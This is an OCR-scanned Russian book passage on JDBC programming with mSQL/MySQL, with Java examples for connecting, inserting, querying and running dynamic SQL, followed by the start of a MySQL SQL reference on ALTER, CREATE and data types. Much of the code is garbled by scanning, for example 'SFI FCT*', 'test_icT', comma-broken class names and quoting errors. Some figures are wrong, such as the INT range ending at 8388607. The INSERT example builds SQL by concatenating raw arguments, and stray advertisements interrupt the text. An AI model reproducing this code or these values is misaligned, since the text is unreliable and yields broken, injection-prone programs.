Смысл слова «driver» в JDBC зависит от контекста. При написании в нижнем регистре JDBC driver является собранием классов, в совокупности реализующих все интерфейсы JDBC и обеспечивающих приложение доступом хотя бы к одной базе данных. При написании Driver с заглавной буквы подразумевается класс, реализуемый в Java. sql. Driver. И наконец, JDBC предоставляет интерфейс DriverManager, с помощью которого можно вести учет всех различных реализаций Driver.

Часть URL, обозначающая протокол, ссылается на конкретный драйвер JDBC. В случае MySQL и mSQL протоколами являются ту sql и msql соответственно. Субпротокол сообщает данные соединения, специфические для реализации. Для соединения с MySQL и mSQL требуются имя узла и имя базы данных. Дополнительно может потребоваться номер порта, если ядро базы данных запущено не как root. Поэтому полный URL для mSQL выглядит как, например, jdbc:msql://athens.imagi-nary.com: 1114/test. Он сообщает DriverManager о необходимости найти драйвер JDBC для mSQL и соединиться с базой данных test на athens.imaginary.com через порт 1114. Это делается путем единственного обращения к методу getConnection() интерфейса DriverManager. В примере 14-1 показано, как осуществить соединение с базой данных mSQL.

Пример 14-1. Отрывок кода из примеров, предоставляемых с драйвером JDBC для mSQL, показывающий, как осуществить соединение

import java.sql.*;

public class Connect { public static void main(String argv[]) {

Connection con = null;

try {

// Вот JDBC URL для этой базы данных

String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

// 0 том, что делают классы Statement и ResultSet, ниже Statement stmt; ResultSet rs;

// передать это как свойство, т.е.

// -Djdbc.drivers=com.imaginary.sql.msql.MsqlDriver

// или загрузить, как сделано в этом примере

Class.fоrName("com.imaginary, sql. msql. MsqlDriver");

// здесь осуществляется соединение

con = DriverManager.getConnection(url, "borg", "");

}

catch( SQLException e ) {

e.printStackTrace(); }

finally {

if( con != null ) {

try { con.close();

}

catch( Exception e ) { }

}

}

}

}

В этом примере соединение с базой данных осуществляется в строке con=DriverManager.getConnection(url, "borg", ""). В данном случае JDBC URL и имя класса, реализующего Driver, фактически введены в код приложения. В демонстрационной программе это допустимо, но всякое серьезное приложение должно загружать эти данные из файла свойств, получать через аргументы командной строки или из свойств системы. Реализация Driver будет автоматически загружена, если передать ее как системное свойство jdbc.drivers - иными словами, не нужно вызывать Class. ForName(). newlnstance(driver_name), если вы передаете имя драйвера как системное свойство jdbc.drivers. Второй и третий аргументы getConnection() передают ID пользователя и пароль, необходимые для установления соединения. Поскольку mSQL не использует пароли для авторизации пользователей, в примере используется пустая строка. Для MySQL же необходимо сообщить пароль.

Поддержка переносимости с помощью файлов свойств

Хотя наше внимание сосредоточено на двух конкретных базах данных, хорошей практикой программирования на Java является обеспечение полной переносимости приложений. Под переносимостью обычно подразумевается, что вы не пишете код, предназначенный для выполнения только на какой-то одной платформе. Однако для Java термин «переносимость» имеет более сильный смысл. Он означает независимость от аппаратных ресурсов и независимость от базы данных.

Мы сказали о том, что JDBC URL и имя Driver зависят от реализации, но не сказали, как избежать их включения в код. Поскольку и то, и другое представляет собой простые строки, их можно передать в качестве параметров командной строки или как параметры апплетов. Это работающее, но едва ли элегантное решение, поскольку оно требует, чтобы пользователь помнил длинные командные строки. Аналогичное решение - выдавать пользователю приглашение для ввода этих данных, которое опять-таки требует, чтобы пользователь вспоминал JDBC URL и имя класса Java при каждом запуске приложения.

Более изящное решение получается при использовании файла свойств. Файлы свойств поддерживаются классом Java. util. Resource-Bundle и его подклассами, позволяя приложению извлекать данные, относящиеся ко времени исполнения, из текстового файла. Для приложения, использующего JDBC, можно вставить в файл свойств URL и имя Driver, возложив на администратора приложения обязанность указать детали соединения. Пример 14-2 показывает файл свойств,

предоставляющий данные о соединении.

Пример 14-2. Файл SelectResource.properties с подробностями соединения

Driver=com.imaginary.sql.msql.MsqlDriver

URL=jdbc:msql://athens.imaginary.com:1114/db_test

В примере 14-3 показан переносимый класс Connection.

Пример 14-3. Специфические данные

import java.sql.*; import java.util.*;

public class Connect {

public static void main(String argv[]) {

Connection con = null;

ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

try {

String url = bundle.getString("URL");

Statement stmt; ResultSet rs;

Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

con = DriverManager.getConnection(url, "borg", ""); }

catch( SQLException e ) { e. printStackTrace();

}

finally

{

if( con != null )

{

try { con.close(); }

catch( Exception e ) { }

}

}

}

}

В этом примере установления соединения мы избавились от кода, специфичного для mSQL. Однако для разработчиков переносимых JDBC-приложений остается одна важная проблема, особенно касающаяся тех, кто работает с mSQL. JDBC требует, чтобы все драйверы поддерживали начальный уровень (entry level) SQL2. Это стандарт ANSI минимальной поддержки SQL. Если при вызовах JDBC вы поддерживаете начальный уровень SQL2, то ваше приложение будет стопроцентно переносимо на другие базы данных. MySQL поддерживает минимальный уровень SQL2, a mSQL - увы, нет. Приложения, написанные для mSQL, скорее всего, без проблем будут переноситься на другие базы данных, но приложения, написанные с использованием начального уровня SQL92, в полном объеме нельзя будет безболезненно перенести обратно на mSQL.

Простой доступ к базе данных

В примере Connect делалось не много. В нем было просто показано, как соединиться с базой данных. В соединении с базой данных нет пользы, пока вы не начинаете действительно обмениваться с ней данными. Простейшие виды доступа к базе данных - команды SELECT, INSERT, UPDATE и DELETE. В JDBC API вы используете экземпляр Connection для создания экземпляров класса Statement. Класс Statement представляет SQL-команду любого типа. В примере 14-4 показано, как вставить строку в базу данных, используя Statement.

Пример 14-4. Вставка строки в mSQL с помощью объекта JDBC Statement

import Java, sql.*;

import Java, util.*;

public class Insert {

// Делаем вставку в таблицу, имеющую две колонки: test_id (int)

// и test_val (char(55))

// args[0] - это test_id, a args[1] - test_val

public static void main(String argv[]) {

Connection con = null;

ResourceBundle bundle = ResourceBundle.getBundle("SelectResource");

try {

String url = bundle.getString("URL");

Statement stmt;

Class.forName(bundle.getString("Driver"));

// здесь осуществляется соединение

con = DriverManager.getConnection(url, "borg", "");

stmt = con.createStatement();

stmt.executeUpdate("INSERT INTO test (test_id, test_val) " +

"VALUES(" + args[0] + ", '," + args[1] + ")");

}

catch( SQLException e )

{

e. printStackTrace();

}

finally

{

if( con != null )

{

try { con.close();

}

catch( Exception e ) { }

}

}

}

}

В реальном приложении мы бы, конечно, проверили, что пользователь ввел значение типа INT для test_id, что оно уникально, и что длина введенного значения test_val не превышает 55 символов. Тем не менее пример показывает, как просто осуществлять вставку данных. Метод createStatement() делает то, о чем говорит его название: создает пустую SQL-команду, связанную с рассматриваемым соединением - объектом Connection. Затем метод executeUpdate() передает заданную строку SQL базе данных для выполнения. Как подсказывает название, executeUp-date() ожидает команды SQL, которая некоторым образом модифицирует базу данных. Вы можете использовать ее, чтобы вставлять новые строки, как показано выше, либо удалять строки, обновлять строки, создавать новые таблицы или производить любые другие изменения в базе данных.

Запросы выполнять немного сложнее, чем обновления, поскольку они возвращают информацию из базы данных в виде объекта ResultSet. ResultSet является интерфейсом, представляющим 0 или более строк, являющихся результатом запроса, обращенного к базе данных. В классе JDBC Statement имеется метод executeQuery(), работающий подобно executeUpdate(), за исключением того, что он возвращает из базы данных ResultSet. Метод executeQuery() возвращает ровно один ResultSet, тем не менее имейте в виду, что JDBC поддерживает извлечение множественных результирующих наборов для тех баз данных, которые это позволяют. Ни MySQL, ни mSQL не поддерживают множественные результирующие наборы. Однако важно помнить о такой возможности, когда вы изучаете код для работы с иным ядром базы данных, написанный кем-то другим. В примере 14-5 показан простой запрос. На рис. 14-2 изображена модель данных з таблице test.

Пример 14-5. Простой запрос

import Java, sql.*;

import Java, util.*;

public class Select {

public static void main(String argv[]) {

Connection con = null;

ResourceBundle bundle =ResourceBundle.getBundle("SelectResource");

try {

String url = bundle.getString("URL"); Statement stmt;

ResultSet rs;

Class.forName(bundle.getString("Driver")); // здесь осуществляется соединение

con = DriverManager,getConnection(url, "borg", "");

stmt = con.createStatement();

rs = stmt .executeQuery("SFI FCT* from test ORDER BY test_id");

System, out.print In("Полученные результаты:");

while(rs. next()) {

int a= rs.getInt("test_icT);

String str = rs.getString("test_val");

System.out.print(" ключ= " + a);

System.out.print(" строка= " + str);

System.out.print("\n");

}

stmt.close();

}

catch( SQLException e )

{

e. printStackTrace();

}

finally {

if( con != null ) {

try { con.close(); }

catch( Exception e ) { }

}

}

}

}

Приложение Select выполняет запрос и затем проходит по всем строкам ResultSet с помощью метода next(). До первого обращения к next() ResultSet не указывает ни на какую строку. Каждый вызов next () настраивает ResultSet на следующую строку. JDBC 2:0 вводит понятие результирующего набора с перемещением (scrollable). Если ваш экземпляр ResultSet позволяет перемещение, можно также обращаться к методу previous() для перемещения по результирующему набору в обратном направлении. Обработка строк заканчивается, когда next () возвращает false.

Рис. 14-2. Таблица test из учебной базы данных

Работа со строкой означает получение значений для каждой колонки. Каково бы ни было значение в базе данных, можно использовать методы ResultSet для получения значения колонки с любым типом данных Java, который вас устраивает. В приложении Select вызов метода gе tInt() возвращал колонку test_id как int, а вызов getString() возвращал значение колонки test_val как String. Эти методы получения значения колонки принимают либо номер колонки, начиная с 1, либо ее имя. Следует, однако, всеми силами избегать извлечения значений с помощью имен колонок, поскольку такой способ значительно медленнее, чем получение их с помощью номеров колонок.

Обработка ошибок и освобождение ресурсов

Все методы JDBC могут возбуждать SQLException или один из подклассов этого класса, если что-то происходит при обращении к базе данных. Ваш код должен уметь перехватывать исключительную ситуацию, обрабатывать ее и освобождать все размещенные в памяти ресурсы базы данных. Все перечисленные до сих пор классы JDBC имеют метод close(). Однако на практике вы должны обеспечить закрытие только тех объектов, которые вызваны процессами, продолжающими оставаться открытыми. В приведенных до сих пор примерах практически требовалось закрыть только соединение с базой данных. При закрытии соединения автоматически закрываются все связанные с ним команды и результирующие наборы. Однако если вы намерены сохранить соединение открытым в течение некоторого времени, будет правильным поспешить закрыть все объекты statement, которые вы создали с использованием этого соединения, когда они вам больше не нужны. В примерах JDBC, которые вы видели, это освобождение ресурсов производится в предложении finally. Это делается для того, чтобы обеспечить закрытие соединения независимо от того, что произойдет.

Динамический доступ к базе данных

До сих пор мы имели дело с приложениями, в которых во время компиляции точно известно, что нужно будет делать. Если бы это был единственный тип поддержки, обеспечиваемый JDBC, никто не смог бы написать для Mysql и msql интерактивные инструменты командной строки, способные во время исполнения принимать команды SQL и выполнять их. Класс JDBC Statement поддерживает метод execute() для выполнения SQL-команд, которые могут быть запросами или обновлениями. Кроме того, экземпляры ResultSet обеспечивают предоставление о себе информации времени исполнения через интерфейс с именем ResultSetMetaData, доступ к которому осуществляется через вызов метода getMetaData() для ResultSet.

Метаданные

Термин метаданные звучит официозно, но на самом деле это не более чем дополнительные данные о некотором объекте, которые, если бы действительно хранились в объекте, просто зря тратили бы ресурсы. Например, для простых приложений не нужны имена колонок, связанных с результирующим набором ResultSet: программисту они, скорее всего, известны во время написания программы. Поэтому помеще

ние этих дополнительных данных в класс ResultSet не рассматривается разработчиками JDBC как нечто существенное для функциональности ResultSet. Однако в некоторых случаях программирования баз данных i такие вещи, как имена колонок, очень важны, особенно при осуществлении динамического доступа к базам данных. Доступ к этим дополнительным данным - метаданным - разработчики JDBC обеспечили через интерфейс ResultSetMetaData. Этот класс позволяет узнать:

  • Число колонок в результирующем наборе.
  • Является ли NULL допустимым значением в колонке.
  • Метку, используемую для заголовка колонки.
  • Имя заданной колонки.
  • Таблицу, служащую источником данных для данной колонки.
  • Тип данных колонки.

Другим примером класса, поставляемым вместе с драйвером mSQL-JDBC, является приложение Exec. Оно принимает любую команду SQL, задаваемую в командной строке, и выполняет ее. В примере 14-6 приводится соответствующий исходный код.

Пример 14-6. Исходный код приложения Exec для выполнения динамического SQL

import java.sql.*;

public class Exec {

public static void main(String args[]) {

Connection con = null; String sql = "";

for(int i=0; i<args.length; i++) {

sql = sql + args[i];

if( i < args.length - 1 ) {

sql = sql + " ";

}

}

System, out. рrintln("Выполнение: " + sql);

try {

Class.forName("com.imaginary. sql.msql.MsqlDriver").newlnstance();

String url = "jdbc:msql://athens.imaginary.com:1114/db_test";

con = DriverManager.getConnection(url, "borg", "");

Statement s = con.createStatement();

if( s.execute(sql) ) {

ResultSet r = s.getResultSet();

ResultSetMetaData meta = r.getMetaData();

int cols = meta.getColumnCount();

int rownum = 0;

while( r.next() ) { rownum++;

System, out. println("Crpокa: " + rownum);

for(int i=0; i<cols; i++) {

System.out.print(meta.getColumnLabel(i+1) + ": ' + r.getObject(i+1) + ", ");

}

System.out.println("");

}

}

else

{

System.out.println(s.getUpdateCount() + " строк обработано.");

}

s.close();

con.close();

}

catch( Exception,e ) { e. printStackTrace();

}

finally

{

if( con != null )

{

try { con.close();

}

catch( SQLException e ) { }

}

}

}

}

Для каждого результирующего набора обеспечивается получение экземпляра ResultSetMetaData с помощью метода getMetaData(). При динамическом доступе к базе данных необходимо узнать, сколько колонок в результирующем наборе, чтобы с уверенностью извлечь все колонки и их имена для вывода пользователю. Метаданные нашего результирующего набора обеспечивают получение всех этих данных с помощью методов getColumnCount() и getColumnLabel().

Обработка динамического SQL

В примере 14-6 введено понятие динамического вызова SQL. Поскольку мы не знаем, будет это запрос на получение данных или обновление, нужно передать вызов SQL через метод execute (). Этот метод возвращает true, если команда возвратила результирующий набор, и false в противном случае. В нашем примере, если возвращается true, то приложение получает возвращаемый ResultSet через вызов метода getResultSet(). Затем приложение может перейти к обычной обработке результирующего набора. Если, напротив, команда произвела какую-либо модификацию базы данных, можно вызвать метод getUpdateCu-unt() для подсчета числа строк, модифицированных командой.

Серверное приложение гостевой книги

Вы, вероятно, немало слышали об апплетах Java. Однако в главе 8 мы говорили о том, что доступ к базам данных на стороне клиента является плохой идеей. В примеры к этой книге мы включили реальное приложение, использующее сведения о JDBC, изложенные в этой главе, для создания класса Java на стороне сервера. Такие приложения называются сервлеты (servlet). Хотя серверные приложения сами по себе не являются частью трехзвенной архитектуры, обсуждавшейся нами в главе 8, данный пример хорошо иллюстрирует возможности использования JDBC. Это серверное приложение является Web-страницей, позволяющей посетителям вашего сайта оставить свое мнение о нем. Оставленные комментарии могут просматриваться другими посетителями. Все, что вам нужно знать о серверных приложениях для понимания этого примера, это то, что метод doPost() обрабатывает события HTTP POST, a de-Get () обрабатывает события HTTP GET.

В этом приложении две части: часть get и часть post. В обеих частях производится вызов метода printComments() для показа комментариев, оставленных в гостевой книге. В этом методе мы находим нечто, не встречавшееся нам в простых предыдущих примерах: вызов метода wasNull() после каждого извлечения значения колонки. Как и можно предположить из названия, wasNull() возвращает t rue, если последнее извлеченное значение было NULL в смысле SQL. В вызовах, возвращающих объект Java, значение обычно будет NULL, если при чтении из базы данных был получен NULL. Использование wasNull() в таких случаях может показаться излишним. Однако для простых типов данных выборка может возвращать допустимое значение. Метод wasNull() позволяет узнать, не было ли в базе данных значения NULL. Например, NULL в колонке целого типа возвращает 0 при вызове getlnt(). Чтобы узнать, что было в колонке - 0 или NULL, нужно вызвать wasNull().

Поиск книг в интернет магазине Болеро

Поиск DVD в интернет магазине DVD DOM
Внимание! Money-Hunting.Ru - Интересная Online Игра с Денежными Призами.


  • Часть III. Справочник
    • Глава №15. Справочник по SQL
      • MySQL SQL
      • mSQLSQL

Часть III.

Справочник

В этой части приводится справочная информация по всем API и утилитам, упоминаемым в книге.

Глава №15.

Справочник по SQL

MySQL SQL

ALTER/MODIFY

ALTER [IGNORE] TABLE table ADD [COLUMN] create_clause

ALTER [IGNORE] TABLE table ADD INDEX [name] (column, . . .)

ALTER [IGNORE] TABLE table ADD UNIQUE [name] (column, . . .)

ALTER [IGNORE] TABLE table ALTER [COLUMN] column SET DEFAULT value

ALTER [IGNORE] TABLE table ALTER [COLUMN] column DROP DEFAULT

ALTER [IGNORE] TABLE table CHANGE [COLUMN] column create..clause

ALTER [IGNORE] TABLE table DROP [COLUMN] column

ALTER [IGNORE] TABLE table DROP FOREIGN KEY key

ALTER [IGNORE] TABLE table DROP INDEX key

ALTER [IGNORE] TABLE table DROP PRIMARY KEY

ALTER [IGNORE] TABLE table MODIFY [COLUMN] create_clause

ALTER [IGNORE] TABLE table RENAME [AS] new_name

Оператор ALTER охватывает широкий набор действий, которые изменяют структуру таблицы. Этот оператор используется для добавления, изменения или удаления столбцов существующей таблицы, а также для удаления индексов. Несколько операторов ALTER могут быть объединены в одно предложение с помощью запятых:

ALTER TABLE mytable DROP myoldcolumn, ADD mynewcolumn INT

Для модификации таблицы MySQL создает копию таблицы и изменяет ее, выполняя все модифицирующие запросы. Когда все изменения сделаны, старая таблица удаляется, а ее место занимает новая таблица. В этой точке выполняются все поставленные в очередь запросы. В целях безопасности, если какой-либо из запросов создает дублирующие ключи, которые должны быть уникальными, предложение ALTER откатывается и отменяется. Если в предложении присутствует ключевое слово IGNORE, дублированные уникальные ключи игнорируются, и запрос ALTER исполняется как обычно. Имейте в виду, что использование IGNORE для активной таблицы с уникальными ключами может привести к искажению и порче таблицы.

Как указывалось выше, есть несколько разных, зачастую противоположных действий, выполняемых ALTER:

ADD [COLUMN] create,clause

Добавляет новый столбец в таблицу. Выражение create_clause имеет тот же вид, что и используемое в операторе CREATE (см. ниже). Таблица должна существовать и не иметь столбца с тем же именем, что у добавляемого столбца. (Ключевое слово COLUMN необязательно и не имеет эффекта.)

ADD INDEX [ name] (column , ...)

Создает индекс из указанных столбцов. В индексе могут быть скомбинированы до 15 столбцов. Указывать имя для индекса необязательно. Если не задано имя, индекс будет назван по имени первого столбца в списке (с числовым суффиксом _2, _3 и т. д., если это необходимо для уникальности).

ADD UNIQUE [name] (column, ...)

Идентично ADD INDEX за исключением того, что индексированные поля гарантированно уникальны. То есть, если пользователь попытается добавить значение, уже существующее в уникальном индексе, будет выдано сообщение об ошибке.

ALTER [COLUMN] column SET DEFAULT value

ALTER [COLUMN] column DROP DEFAULT

Создает, изменяет или удаляет значение по умолчанию для столбца. Если используется фраза SET DEFAULT , значение по умолчанию для указанного столбца изменяется на новое (даже если до этого не существовало значений по умолчанию). При использовании DROP DEFAULT, существующее значение по умолчанию удаляется. При этом любые существующие записи, созданные с помощью этого значения, остаются неизмененными. (Ключевое слово COLUMN необязательно и не имеет эффекта.)

CHANGE [COLUMN] new_column_name create_clause

MODIFY [COLUMN] create__clause

Изменяет определение столбца. Предложение используется для изменения типа данных столбца с минимально возможным воздействием на данные. Выражение create_clause то же, что и в операторе CREATE. Оно включает имя столбца и поэтому, используя это предложение, вы изменяете имя столбца. (Например, ALTER TABLE mytable CHANGE name newname CHAR(30) .) Предложение MODIFY аналогично CHANGE, но новый столбец имеет то же имя, что и старый. Ключевое слово COLUMN необязательно и не имеет эффекта. Следующие преобразования типов данных выполняются автоматически:

Целых чисел к числам с плавающей запятой, и наоборот (например, BIGINT к DOUBLE).

Меньших числовых значений к большим (например, INTEGER к BIGINT).

Больших числовых значений к меньшим (например, DOUBLE к FLOAT). Если значение выходит за пределы нового типа, используется максимально возможное значение нового типа данных (или наименьшее из отрицательных).

  • Числовых к текстовым (например, SMALLINT к CHAR(5)).
  • Текстовых к числовым (например, VARCHAR к MEDIUMINT). Текст преобразуется либо в целое число, либо в число с плавающей запятой. (Что более подходит для нового типа.)
  • Меньших символьных типов к большим (например, BLOB к LONG-TEXT).
  • Больших символьных типов к меньшим (например, TEXT к VARCHAR (255) ). Если значение больше, чем позволяет новый тип данных, текст усекается для соответствия этому типу.
  • Даже для преобразований, которые здесь не упомянуты (например, TIMESTAMP к YEAR), MySQL попытается сделать все возможное, чтобы совершить разумное преобразование. При использовании CHANGE преобразование будет выполнено в любом случае, ни при каких обстоятельствах MySQL не сдастся и не выдаст сообщения об ошибке. Помня об этом, вы должны (1) сделать резервную копию данных перед преобразованием и (2) немедленно проверить новые значения на «разумность».

DROP [COLUMN] column

Удаляет столбец из таблицы. Это предложение удалит из таблицы столбец и все его содержимое. Единственный способ восстановить данные, уничтоженные таким способом, - использовать резервную копию. Все ссылки в индексах на этот столбец будут удалены. Все индексы, где этот столбец был единственным, будут также уничтожены. (Ключевое слово COLUMN необязательно и не имеет эффекта.)

DROP INDEX key

Удаляет индекс из таблицы. Это предложение полностью сотрет индеке из таблицы. Предложение не затронет данные самой таблицы, только данные индекса. Поэтому индекс, удаленный таким способом, может быть воссоздан с помощью оператора ALTER TABLE ... ADD INDEX.

DROP PRIMARY KEY

Аналог DROP INDEX . Ищет специальный индекс, называемый первичным ключом (Primary Key). Если в таблице первичный ключ не найден, будет удален первый уникальный индекс.

RENAME [AS] new_table

Изменяет имя таблицы. Эта операция не влияет на данные или индексы внутри таблицы. Если предложение применяется одно, без других ALTER TABLE операторов, MySQL не создает временную таблицу, как в случае других операторов, а просто выполняет быстрое переименование табличных файлов на уровне Unix.

Операция FOREIGN KEY (внешний ключ) в настоящий момент не поддерживается в MySQL. Хотя синтаксис команды описан, никаких действий с внешним ключом произвести не удастся.

Чтобы применить любое из действий ALTER TABLE , у вас должны быть права SELECT, INSERT, DELETE, UPDATE, CREATE и DROP на изменяемую табли-ЦУ.

Примеры

# Добавить поле 'address2' к таблице 'people' и. задать ему тип данных

# 'VARCHAR' с максимальной длиной 200 символов.

ALTER TABLE people ADD COLUMN address2 VARCHAR(100)

# Добавить два новых индекса к таблице 'hr', обычный индекс для поля

# 'salary'

# и уникальный индекс для поля 'id'. Также продолжить выполнение, если

# найдены

# дублируемые значения при создании индекса 'id_idx' (очень опасно!).

ALTER TABLE hr ADD INDEX salary_idx ( salary )

ALTER IGNORE TABLE hr ADD UNIQUE id_idx ( id )

# Изменить значение по умолчанию для поля 'price' в таблице 'sprockets'

# на $19.95.

ALTER TABLE sprockets ALTER price SET DEFAULT '$19.95'

# Удалить значение по умолчанию для поля 'middle_name' в таблице 'names'.

ALTER TABLE names ALTER middle_name DROP DEFAULT

# Изменить тип данных для поля 'profits' с начального значения (которым,

# возможно, было INTEGER) на BIGINT.

ALTER TABLE finanaces CHANGE COLUMN profits profits BIGINT

# Удалить поле 'secret_stuff' из таблицы 'not_private_anymore'

ALTER TABLE not_private_anymore DROP secret_stuff

# удалить индекс с именем 'id_index' также как и первичный ключ

# из таблицы 'cars'.

ALTER TABLE cars DROP INDEX id_index, DROP PRIMARY KEY

# Переименовать таблицу 'rates_current' на 'rates_1997'

ALTER TABLE rates_current RENAME AS rates_1997

CREATE

CREATE DATABASE dbname

CREATE TABLE name ( field_name field__type, ... )

CREATE INDEX name ON table ( column, ...)

CREATE FUNCTION name RETURNS values SONAME library

Создает новые элементы базы данных (или полностью новую базу). Предложение используется для создания баз данных, таблиц и функций, определяемых пользователем (UDFs).

Команда CREATE INDEX поддерживается для совместимости с другими реализациями SQL. В старых версиях SQL эта команда ничего не выполняла. В версии 3.22 это предложение эквивалентно ALTER TABLE ADD INDEX. Чтобы выполнить CREATE INDEX , вы должны иметь право INDEX для этой таблицы.

CREATE DATABASE создает полностью пустую базу данных. Это эквивалент утилите mysqladmin . Так же как и при запуске mysqladmin, вы должны иметь права администратора MySQL (обычно root или mysql) для выполнения этой команды.

CREATE FUNCTION позволяет предложениям MySQL получать доступ к прекомпилированным выполняемым функциям. Эти функции могут выполнять практически любые операции, так как они проектируются пользователем. Возвращаемое значение может быть STRING для символьных данных; REAL для чисел с плавающей запятой или INTEGER для целых чисел. MySQL преобразует возвращаемое значение С-функций к указанному типу. Библиотека, содержащая функцию, должна быть стандартной разделяемой библиотекой, которую MySQL может динамически присоединить к серверу.

CREATE TABLE определяет структуру таблицы в базе данных. Этим оператором создаются все таблицы MySQL. Предложение состоит из имени таблицы, за которым идет любое количество определений полей. Синтаксис определения полей включает в себя имя поля, за ним его тип, за ним любой модификатор (например: name char(30) not null ). MySQL поддерживает следующие типы данных, представленные в таблице 15-1.

Таблица 15-1. Типы данных

Тип | Размер (в байтах) | Комментарии
TINYIN'I ( length)/ INT1( length) | 1 | Целое с диапазоном значений от 0 до 255 без знака и от -128 до 127 со знаком.
SMALLINT ( length)/ | 2 | Целое с диапазоном значений от
INT2( length) |  | 0 до 65535 без знака и от -32768 до 32767 со знаком.
MEDIUMINT ( length)/ | 3 | Целое с диапазоном значений от
INT3( length)/ |  | 0 до 16777215 без знака и от
MIDDLEINT ( length) |  | -8388608 до 8388607 со знаком.
INT (length)/ | 4 | Целое с диапазоном значений от
INTEGER ( length)/ |  | 0 до 4294967295 без знака и от
INT4( length) |  | -2147483648 до 8388607 со знаком.
BIGINT (length)/ | 8 | Целое с диапазоном значений от
INT8( length) |  | 0 до 184467447370955165 без зна-
 |  | ка и от -9223372036854775808
 |  | до 9223372036854775807 со зна-
 |  | ком.
FLOAT/FLOAT (4)/ FLOAT | 4 | Число с плавающей запятой
(length, decimal )/ FLO- |  | с максимальным значением
AT4( length, decimal ) |  | +/-3.402823466Е38 и минималь-
 |  | ным (не нулевым) значением
 |  | +/-1.175494351Е-38.
DOUBLEPRECISION | 8 | Число с плавающей запятой
(length, decimal )/ |  | с максимальным значением
DOUBLE ( length, decimal )/ |  | +/-1.7976931348623157Е308 и
REAL (length, decimal )/ |  | минимальным (не нулевым) значе-
FLOAT8( length, decimal )/ |  | нием +/-2.2250738585072014Е-308.
FLOAT (8) |  |
DECIMAL ( length, decimal )/ | length | Число с плавающей запятой с ди-
NUMERIC ( length, decimal ) |  | апазоном значений как у типа DOUBLE, которое хранится как поле CHAR . DECIMAL и NUMERIC всегда расцениваются как поля CHAR , которые содержат цифровое значение.
TIMESTAMP (length) | 4 | Значение timestamp, которое обновляется каждый раз, когда изменяется запись. Также можно приписать значение вручную. При приписывании значения NULL в поле запишется текущее время. Поле длины (необязательное) определяет внешний формат записи. Длина 14 (значение по умолчанию) выводит строку типа ' YYYYMMDDHHMMSS' , 12 flacT'YYMMDDHHMMSS',' 8- 'YYYYMMDD', и 6 выдаст 'YYMMDD'.
DATE | 3 | Значение даты, которое хранит год, месяц и день. Значения всегда выводятся в формате 'YYYY-MM-DD', но могут быть введены в любом из следующих форматов: 'YY-MM-DD', 'YYYY-MM-DD', 'YYMMDD' или 'YYYYMMDDHHMMSS' (часть, хранящая время, игнорируется).
TIME | 3 | Значение времени, хранящее часы, минуты и секунды. Значения всегда выводятся в формате 'НН: MM: SS', но могут быть введены в любом из следующих форматов: 'НН: MM: SS', 'HHMMSS', 'ННММ' (секунды равны '00'), или 'НН' (минуты и секунды обнуляются).
DATETIME | 8 | Сохраняет и дату и время. Значения вводятся и выводятся в формате 'YYYY-MM-DD HH: MM: SS'.
YEAR | 1 | Значение, сохраняющее год. Может быть введено либо в формате 'YYYY', либо 'YY', будет выведено либо как двухзначный, либо как четырехзначный год, в зависимости от формата ввода. Двухзначный год может находиться в диапазоне между 1970 и 2069 включительно. Этот тип данных в настоящее время поддерживает года с 1901 по 2155.
CHAR (length) /ШЬЮ (length-) | length | Строка фиксированной длины. Любой текст меньшей длины будет дополнен пробелами в конце строки. Все конечные пробелы, вставленные либо MySQL, либо пользователем, удаляются при выводе значения. MySQL по умолчанию считает текст не чувствительным к регистру (см. модификатор BINARY ниже). Тип BINARY эквивалентен CHAR с модификатором BINARY .
CHAR (length) VARYING/ VARCHAR (length)/ VARBINARY ( length) | length | Текстовая строка переменной длины (нечувствительная к регистру) с установленной максимальной длиной. Максимальная длина должна лежать в диапазоне между 1 и 255 символами. Все концевые пробелы удаляются при сохранении данных этого типа. Тип VARBINARY эквивалентен VARCHAR с BINARY модификатором.
TINYTEXT | length+1 | Текстовое поле (нечувствительно к регистру) с максимальной длиной в 255 символов.
TINYBLOB | length+1 | Двоичное поле (чувствительно к регистру) с максимальной длиной в 255 символов. Двоичные данные чувствительны к регистру.
TEXT/LONG VARCHAR | length+2 | Текстовое поле с максимальной длиной в 64 Кбайт текста.
BLOB/LONG VARBINARY | length+2 | Двоичное поле с максимальным размером в 64 Кбайт данных.
MEDIUMTEXT | length+3 | Текстовое поле с максимальной длиной в 16 Мбайт текста.
MEDIUMBLOB | length+3 | Двоичное поле с максимальным размером в 16 Мбайт данных.
LONGTEXT | length+4 | Текстовое поле с максимальной длиной в 4 Гбайт текста.
LONGBLOB | length+4 | Двоичное поле с максимальным размером в 4 Гбайт данных.
ENUM | 1,2 | Поле, которое может содержать одно значение из предварительно заданного набора (например ENUM ("apples", "oranges", "bananas")). Данные могут быть введены как одно из текстовых значений набора либо как число, соответствующее одному из элементов набора (номер первого элемента 1). В поле всегда может быть внесено значение NULL. Набор (коллекция) может содержать до 65535 разных элементов. Если в наборе меньше 256 элементов, поле займет только один байт (иначе его размер равен двум байтам).

SET

1—8

Поле может содержать любое количество предварительно заданных значений (например SET ("rock," "pop," "country," "western")). Данные могут быть заданы как список разделенных запятыми значений либо как двоичное битовое представление значений (например 12, т. е. 1100 в двоичном виде, относится к "country, western" в предыдущем примере). В одном наборе может быть до 64 элементов.

В дополнение к основным типам могут использоваться некоторые модификаторы.

decimal

Максимальное количество цифр справа от запятой в числе с плавающей запятой. Любое значение с более длинной дробной частью будет округлено. Например, для поля price FLOAT(5,2) значение 4.34 будет показано как 4.34, значение 234.27 будет показано как 234.3 (для соответствия общей максимальной длине), значение 3.331 будет выглядеть как 3.33 (для соответствия максимальной длине дробной части).

length

Количество символов для числовых значений, показываемое пользователю. Включает десятичные запятые, знаки и индикаторы экспонент. Например, поле peanuts INT(4) имеет допустимый диапазон от -999 до 9999. MySQL сохранит значение, выходящие за пределы заданного диапазона, пока оно не выйдет за пределы максимального размера для своего типа. Если вы сохраните значение вне заданного диапазона, MySQL выдаст предупреждение, но будет функционировать нормально.

При использовании с типом TIMESTAMP модификатор length определяет формат, используемый для timestamp.

При использовании с символьными (текстовыми) типами length определяет количество символов. Для символьных типов с фиксированной длиной length это точное число символов, используемое для хранения данных. Для текстовых типов с переменной длиной length это максимально возможная длина строки.

Атрибут length является необязательным для всех типов, кроме DECIMAL/NUMERIC , CHAR и VARCHAR .

Поскольку тип DECIMAL/NUMERIC хранится как символьная строка, он ограничен максимальной длиной точно так же, как и поле CHAR. Поэтому ввод чисел больше указанного диапазона вызовет такую же ошибку, что и при вводе слишком длинной строки в поле CHAR.

precision
